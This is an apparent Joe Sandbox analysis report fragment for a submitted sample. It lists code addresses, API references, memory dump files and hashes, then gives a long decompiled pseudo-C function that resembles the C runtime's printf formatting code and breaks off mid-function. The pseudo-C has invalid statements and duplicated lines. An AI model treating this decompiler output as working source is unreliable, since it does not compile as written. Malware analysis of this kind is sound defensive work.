0x0043560f
0x00435611
0x00435616
0x0043561b
0x0043561d
0x00435622
0x00435625
0x00435628
0x0043562a
0x0043562a
0x00435628
0x0043562b
0x00435632
0x0043567d
0x00435686
0x0043568b
0x00435634
0x00435639
0x00435655
0x0043565d
0x0043566a
0x0043566f
0x0043566f
0x00000000
0x00435632
0x004355d6
0x004355d6
0x004355dd
0x00000000
0x00000000
0x004355df
0x004355df
0x00000000
0x004355df
0x004353c2
0x00435399
0x00435399
0x0043539d
0x004353aa
0x004353b0
0x004353b6
0x004353bc
0x004353bc
0x004353bf
0x00000000
0x004353bf
0x0043539f
0x004353a5
0x004353a8
0x00000000
0x00000000
0x00000000
0x004353a8
0x00435301
0x00435304
0x0043530e
0x0043531d
0x00435326
0x0043533c
0x00435342
0x00435348
0x0043534f
0x00435357
0x00435357
0x0043535d
0x0043535d
0x0043536c
0x00435374
0x004352e3
0x004352e9
0x004352ec
0x004352ef
0x004352f1
0x00000000
0x00000000
0x00000000
0x004352f1
0x004352e3
0x00435223
0x00435223
0x0043522a
0x00000000
0x00000000
0x00000000
0x00435258
0x0043525e
0x0043526a
0x00000000
0x0043526a
0x0043513a

APIs

_get_int64_arg.LIBCMTD ref: 00435148
__aullrem.LIBCMT ref: 00435315
__aulldiv.LIBCMT ref: 00435337

Strings

9, xrefs: 00435348

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 561cae2ce915adacbac345bc4ad06e18f354e42eb11492e6f48ca8b880a668e1
Instruction ID: 021ebee93618907caecf08e26d89eee0d3ac6893c6fa271a76c8a4b8d2c95f85
Opcode Fuzzy Hash: 561cae2ce915adacbac345bc4ad06e18f354e42eb11492e6f48ca8b880a668e1
Instruction Fuzzy Hash: 6941D471D11A29DFEB24CF99CC89BAEB7B5BB88304F2495DAD449A7240C7385E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043C3C4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0043C3C4(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				signed int _t539;
				signed int _t552;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t613;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t636;
				signed int _t644;
				signed int _t671;
				intOrPtr _t672;
				intOrPtr _t673;
				signed int _t674;
				void* _t676;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t565 = __ebx;
					 *(_t674 - 8) = 8;
					if(( *(_t674 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L150:
						__eflags =  *(_t674 - 0x10) & 0x00008000;
						if(( *(_t674 - 0x10) & 0x00008000) == 0) {
							_t623 =  *(_t674 - 0x10) & 0x00001000;
							__eflags = _t623;
							if(_t623 == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00000020;
								if(( *(_t674 - 0x10) & 0x00000020) == 0) {
									_t625 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t625;
									if(_t625 == 0) {
										_t483 = E004284A0(_t674 + 0x14);
										_t676 = _t676 + 4;
										__eflags = 0;
										 *(_t674 - 0x4a0) = _t483;
										 *(_t674 - 0x49c) = 0;
									} else {
										_t556 = E004284A0(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t556;
										 *(_t674 - 0x49c) = _t625;
									}
								} else {
									_t671 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t671;
									if(_t671 == 0) {
										_t557 = E004284A0(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
										 *(_t674 - 0x49c) = _t671;
									} else {
										_t560 = E004284A0(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t560;
										 *(_t674 - 0x49c) = _t671;
									}
								}
							} else {
								_t563 = E004284C0(_t674 + 0x14);
								_t676 = _t676 + 4;
								 *(_t674 - 0x4a0) = _t563;
								 *(_t674 - 0x49c) = _t623;
							}
						} else {
							_t564 = E004284C0(_t674 + 0x14);
							_t676 = _t676 + 4;
							 *(_t674 - 0x4a0) = _t564;
							 *(_t674 - 0x49c) = _t621;
						}
						__eflags =  *(_t674 - 0x10) & 0x00000040;
						if(( *(_t674 - 0x10) & 0x00000040) == 0) {
							goto L167;
						}
						L163:
						__eflags =  *(_t674 - 0x49c);
						if(__eflags > 0) {
							goto L167;
						}
						L164:
						if(__eflags < 0) {
							L166:
							asm("adc edx, 0x0");
							 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
							 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
							 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
							L168:
							__eflags =  *(_t674 - 0x10) & 0x00008000;
							if(( *(_t674 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00001000;
								if(( *(_t674 - 0x10) & 0x00001000) == 0) {
									_t552 =  *(_t674 - 0x4a4) & 0x00000000;
									__eflags = _t552;
									 *(_t674 - 0x4a4) = _t552;
								}
							}
							__eflags =  *(_t674 - 0x30);
							if( *(_t674 - 0x30) >= 0) {
								 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
								__eflags =  *(_t674 - 0x30) - 0x200;
								if( *(_t674 - 0x30) > 0x200) {
									 *(_t674 - 0x30) = 0x200;
								}
							} else {
								 *(_t674 - 0x30) = 1;
							}
							__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
							if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
								 *(_t674 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
							while(1) {
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								L179:
								__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
								if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
									L183:
									 *(_t674 - 0x24) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
									 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
									__eflags =  *(_t674 - 0x10) & 0x00000200;
									if(( *(_t674 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L187:
											__eflags =  *(_t674 - 0x28);
											if( *(_t674 - 0x28) != 0) {
												goto L212;
											}
											L188:
											__eflags =  *(_t674 - 0x10) & 0x00000040;
											if(( *(_t674 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000100;
												if(( *(_t674 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000001;
													if(( *(_t674 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000002;
														if(( *(_t674 - 0x10) & 0x00000002) != 0) {
															 *((short*)(_t674 - 0x14)) = 0x20;
															 *(_t674 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t674 - 0x14)) = 0x2b;
														 *(_t674 - 0x1c) = 1;
													}
												} else {
													 *((short*)(_t674 - 0x14)) = 0x2d;
													 *(_t674 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *(_t674 - 0x24) -  *(_t674 - 0x1c);
											__eflags =  *(_t674 - 0x10) & 0x0000000c;
											if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
												E0043CAB0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
											}
											E0043CAF0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
											_t676 = _t676 + 0x10;
											__eflags =  *(_t674 - 0x10) & 0x00000008;
											if(( *(_t674 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000004;
												if(( *(_t674 - 0x10) & 0x00000004) == 0) {
													E0043CAB0(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t676 = _t676 + 0x10;
												}
											}
											__eflags =  *(_t674 - 0xc);
											if( *(_t674 - 0xc) != 0) {
												L208:
												E0043CAF0( *(_t674 - 0x24),  *((intOrPtr*)(_t674 - 4)),  *(_t674 - 0x24),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
												goto L209;
											} else {
												L201:
												__eflags =  *(_t674 - 0x24);
												if( *(_t674 - 0x24) <= 0) {
													goto L208;
												}
												L202:
												 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
												 *(_t674 - 0x4b4) =  *(_t674 - 0x24);
												while(1) {
													L203:
													 *(_t674 - 0x4b4) =  *(_t674 - 0x4b4) - 1;
													__eflags =  *(_t674 - 0x4b4);
													if( *(_t674 - 0x4b4) <= 0) {
														break;
													}
													L204:
													_t535 = E0041AE20(_t674 - 0x40);
													_t539 = E0043B550(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AE20(_t674 - 0x40))) + 0xac)), _t535);
													_t676 = _t676 + 0x10;
													 *(_t674 - 0x4b8) = _t539;
													__eflags =  *(_t674 - 0x4b8);
													if( *(_t674 - 0x4b8) > 0) {
														L206:
														E0043CA50( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0xc;
														 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *(_t674 - 0x4b8);
														continue;
													}
													L205:
													 *(_t674 - 0x44c) = 0xffffffff;
													break;
												}
												L207:
												L209:
												__eflags =  *(_t674 - 0x44c);
												if( *(_t674 - 0x44c) >= 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000004;
													if(( *(_t674 - 0x10) & 0x00000004) != 0) {
														E0043CAB0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0x10;
													}
												}
											}
											L212:
											__eflags =  *(_t674 - 0x20);
											if( *(_t674 - 0x20) != 0) {
												L0041C510( *(_t674 - 0x20), 2);
												_t676 = _t676 + 8;
												 *(_t674 - 0x20) = 0;
											}
											while(1) {
												L214:
												 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
												_t580 =  *(_t674 - 0x454) & 0x0000ffff;
												 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
												if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
													break;
												} else {
													if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
														 *(_t674 - 0x4d8) = 0;
													} else {
														 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
													}
												}
												L7:
												 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
												_t644 =  *(_t674 - 0x450) * 9;
												_t509 =  *(_t674 - 0x45c);
												_t588 = ( *(_t644 + _t509 + 0x407e08) & 0x000000ff) >> 4;
												 *(_t674 - 0x45c) = ( *(_t644 + _t509 + 0x407e08) & 0x000000ff) >> 4;
												if( *(_t674 - 0x45c) != 8) {
													L16:
													 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
													__eflags =  *(_t674 - 0x4e0) - 7;
													if( *(_t674 - 0x4e0) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043C944))) {
														case 0:
															L18:
															 *(_t674 - 0xc) = 1;
															E0043CA50( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t676 = _t676 + 0xc;
															goto L214;
														case 1:
															L19:
															 *(__ebp - 0x2c) = 0;
															__ecx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) = __ecx;
															__edx =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__eax =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) =  *(__ebp - 0x18);
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L214;
														case 2:
															L20:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e4) = __ecx;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															__eflags =  *(__ebp - 0x4e4) - 0x10;
															if( *(__ebp - 0x4e4) > 0x10) {
																goto L27;
															}
															L21:
															_t58 =  *(__ebp - 0x4e4) + 0x43c97c; // 0x498d04
															__ecx =  *_t58 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043C964))) {
																case 0:
																	goto L24;
																case 1:
																	goto L25;
																case 2:
																	goto L23;
																case 3:
																	goto L22;
																case 4:
																	goto L26;
																case 5:
																	goto L27;
															}
														case 3:
															L28:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__edx =  *(__ebp - 0x18);
																__edx =  *(__ebp - 0x18) * 0xa;
																__eflags = __edx;
																_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__ecx = __edx + _t82;
																 *(__ebp - 0x18) = __ecx;
															} else {
																__edx = __ebp + 0x14;
																 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	__ecx =  *(__ebp - 0x18);
																	__ecx =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) = __ecx;
																}
															}
															L33:
															goto L214;
														case 4:
															L34:
															 *(__ebp - 0x30) = 0;
															goto L214;
														case 5:
															L35:
															__edx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) * 0xa;
																__eflags = __ecx;
																_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__eax = __ecx + _t93;
																 *(__ebp - 0x30) = __ecx + _t93;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L214;
														case 6:
															L41:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e8) = __ecx;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															__eflags =  *(__ebp - 0x4e8) - 0x2e;
															if( *(__ebp - 0x4e8) > 0x2e) {
																L64:
																goto L214;
															}
															L42:
															_t101 =  *(__ebp - 0x4e8) + 0x43c9a4; // 0xc1b19003
															__ecx =  *_t101 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043C990))) {
																case 0:
																	L47:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																		L50:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																			L53:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																			if(( *__ecx & 0x0000ffff) == 0x64) {
																				L59:
																				L61:
																				goto L64;
																			}
																			L54:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x69;
																			if(__ecx == 0x69) {
																				goto L59;
																			}
																			L55:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																				goto L59;
																			}
																			L56:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																			if(( *__ecx & 0x0000ffff) == 0x75) {
																				goto L59;
																			}
																			L57:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x78;
																			if(__ecx == 0x78) {
																				goto L59;
																			}
																			L58:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																				 *(__ebp - 0x45c) = 0;
																				goto L18;
																			}
																			goto L59;
																		}
																		L51:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x32;
																		if(__ecx != 0x32) {
																			goto L53;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			goto L61;
																		}
																	}
																	L48:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x34;
																	if(__ecx != 0x34) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		goto L61;
																	}
																case 1:
																	L62:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) = __ecx;
																	goto L64;
																case 2:
																	L43:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L64;
																case 3:
																	L63:
																	__edx =  *(__ebp - 0x10);
																	__edx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																	goto L64;
																case 4:
																	goto L64;
															}
														case 7:
															L65:
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
															__ecx =  *(__ebp - 0x4ec);
															__ecx =  *(__ebp - 0x4ec) - 0x41;
															 *(__ebp - 0x4ec) = __ecx;
															__eflags =  *(__ebp - 0x4ec) - 0x37;
															if( *(__ebp - 0x4ec) > 0x37) {
																while(1) {
																	L187:
																	__eflags =  *(_t674 - 0x28);
																	if( *(_t674 - 0x28) != 0) {
																		goto L212;
																	}
																	goto L188;
																}
															}
															L66:
															_t142 =  *(__ebp - 0x4ec) + 0x43ca10; // 0xcccccc0d
															__eax =  *_t142 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043C9D4))) {
																case 0:
																	L120:
																	 *(__ebp - 0x2c) = 1;
																	 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	 *(__ebp - 0x454) = __ax;
																	goto L121;
																case 1:
																	L67:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	goto L69;
																case 2:
																	L82:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L84;
																case 3:
																	L144:
																	 *(__ebp - 0x460) = 7;
																	goto L146;
																case 4:
																	L75:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x474) = E004284A0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x474);
																	if( *(__ebp - 0x474) == 0) {
																		L77:
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																		L81:
																		goto L187;
																	}
																	L76:
																	__ecx =  *(__ebp - 0x474);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L81;
																	}
																	goto L77;
																case 5:
																	L121:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L123:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L128:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B890( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__edx =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__edx =  *(__ebp + 0x14);
																			__eax =  *(__edx - 8);
																			__ecx =  *(__edx - 4);
																			 *(__ebp - 0x490) =  *(__edx - 8);
																			 *(__ebp - 0x48c) =  *(__edx - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AE20(__ebp - 0x40));
																			__edx =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__eax =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__ecx =  *(__ebp - 0x454);
																			_push( *(__ebp - 0x454));
																			__edx =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__eax =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__ecx = __ebp - 0x490;
																			_push(__ebp - 0x490);
																			__edx =  *0x440374; // 0x7e8e98dc
																			E00424690(__edx) =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE20(__ebp - 0x40));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx =  *0x440380; // 0x8a8e9826
																					E00424690(__edx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE20(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x44037c; // 0xc28e9826
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *(__ebp - 4);
																			__edx =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__ecx =  *(__ebp - 4);
																				__ecx =  *(__ebp - 4) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 4) = __ecx;
																			}
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																			do {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			} while ( *(__ebp - 0x4ec) > 0x37);
																			goto L66;
																		}
																		L124:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																			goto L126;
																		}
																		L125:
																		 *(__ebp - 0x30) = 1;
